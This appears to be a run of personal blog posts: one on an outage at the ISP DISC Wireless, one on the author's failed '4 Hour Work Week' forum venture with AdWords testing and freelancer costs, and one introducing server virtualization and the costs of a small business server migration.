ISP’s typically have well engineered and redundant systems, so for an ISP to be unable to provide services to their customers the issue must have been big.

Here is a recording from Sunday night at about 6:30pm from the DISC Wireless Technical support phone number. In my opinion, the frustration that this must have caused their subscribers is immense and I am confident that their business will take a significant loss because of this catastrophic outage. They have started having their customers FAX in correspondence because their email servers are all down. I suspect that their voicemail boxes are getting quite full at this point in time also.

I wish them the best of luck in getting turned back on, bright and early Monday morning. For those customers that are still without service give Skyriver a call at 858.812.5280. They can get you up in a day!

Disc Wireless Skyriver

Muse Missteps

First Muse Failed

I am a big fan of the 4 Hour Work Week, I maintain one of the largest 4HWW groups on and started the 4 Hour Work Week Forums as part of a bigger marketing plan. By following the rules of the book, setting goals, defining the ideal outcome and testing the product before I invest too much TIME into it. (As we know time is money in 4hww terms)

4 hour work week

My original plan for the site was to create an offshoot community of 4hww readers and provide them with the most up to date content on the net about Timothy Ferriss and the 4 Hour Work Week. I hired a freelancer to do utilize blog / rss and internet searches to find the most current and up to date posts about the New Rich, Dream lining, mini-retirements, DEAL and other peoples 4hww experiences. I had them post the articles to the site after a few short weeks I started to build a community.

My goal was to have 200 active members by December 1 2007 and then start introducing some affiliate programs and other resources into the forums. Each of these outbound links would give the readers of the forum a discount on a relevant product or service and I would get paid a referral fee if they purchased. The type of products included marketing and PPC resources, e-books on how to start a virtual company, coupons to freelance sites, web hosting accounts and the like. I ended up with 84 total members, a huge disappointment for me.

4 Hour Work Week

Process and Planning

The setup of the site was pretty straightforward. I setup a web hosting account at MediaTemple, ordered vBulletin and a theme called Coffee. I then purchased and installed what I think is a must have plugin for vB called VBSEO, which allows the site to have static pages urls and link backs. I then setup an RSS / Blog search for common 4hww terms and head to to find a subcontractor to make posts for me. Pretty easy to this point.

I then setup an Adwords account with specific keywords and within a few days I am getting a 3.5% CTR on my terms and traffic starts coming. New members are signing up at the rate of about 1 per day. Not good enough for what I need, I up the ad spend a little change my keywords, broad match some competitive terms and now I have a CTR of over 6%. I do a ton of A/B testing for ads and I am happy with the traffic but not the new signups. I am tracking conversions with Google Analytics and I know exactly what each new user is costing me, in both time and money.

4 Hour Work Week adsense

The amount for effort required to maintain the site is not an issue, it maintains and polices itself and with my Indian freelancer it was costing me about $16 per day to have dozen of current and relevant posts updated to the site. I am getting Google PR, tons of backlinks and I am in the Google index. I have 376 indexed pages in less than three months; I have 301 redirects from common misspellings of the domain and I am getting good traffic. From an execution perspective I have done everything right. I am just not meeting or exceeding my plan.

Google Index Pages

Knowing when to say when

Having a plan about what I needed, an execution road map and plan helped me to plan my attack for this muse. It did not work out, but I also have not wasted time in pretending that it will eventually work. The NR plan, check, test and execute. We also need to know when to say when.

So what to do? I have tested. Retested and have changed variables that have given me great responses, but I need to move on and focus on more muse creations. For those of you who have read the book I am sure that you can appreciate the “why??? I am doing this. For those of you who have not read the book, do yourself a favor grab it. It might just change your life.

As of December 1, I am 301 redirecting the forum to my personal blog. I will keep updating the blog with 4hww news. Same information, just a different format.


Server Virtualization, What Your Outsourced IT Company May Not Be Telling You

I am not going to get into the nuts and bolts of operating system virtualization but I am going to give you enough information to follow along. Software virtualization is the ability to run multiple operating systems at the same time on the same computer. The basic premise is that for most of the day your server is basically idle and the CPU and memory are not tasked with processes all day long, the server has excess capacity and virtualization allows you to maximize your investment by installing another full version of an operating system on your hardware at the same time.

The reuse of surplus computer time can help to minimize the majority of hardware acquisition and maintenance costs and reduces your total cost of ownership and it can result in significant savings for any company.

How does this help me?
Here is the typical scenario; a company has a server that was purchased in 2002, it runs perfectly but there are concerns about its age and the cost to maintain an out of warranty system. The IT people are getting feedback from all the users that the system is slow and that you need more disk space, but overall everything is working just fine.

Based on my 15 years of experience with these types of migrations here are your costs. New Server for a typical 25 user company, with Windows 2003 Small Business Server, Tape Drive and 150GB of RAID 5 storage with tape backup software will run you about $6500.

Small Business Scenario
In scenario A: Company buys a new server and migrates the users, settings and configuration from the existing server to the new server. Most of the basic migration steps can be done without disrupting the users, the accounts are synchronized, the shared folders are created for the data migration, the Exchange Server and SQL server are installed and patched and the migration begins. (This is after the 2 weeks of planning and trial migrations, and the inevitable reinstall because something was just not right) The heavy lifting is done after hours or on a weekend if you have internal IT staff and the process will take anywhere from 8 to 32 hours depending on how your network is configured and how the users access the server. One the migration has been completed the testing begins. Can the users access their mailboxes, are the shared folders there, are the protected folders still safe, does the database work, a huge flurry of tests and you are finally satisfied that the migration has worked.

You then shut down the old server and the company is now running on the new server with new hardware, more disk space and perhaps even the latest version of the operating system. The IT guys love it, the users are finding that things are not EXACTLY like they expected them, especially the printers and email but for the most part SUCCESS. It may take a few days to iron out all the kinks, a huge milestone for your IT staff and not one person will say thank you!

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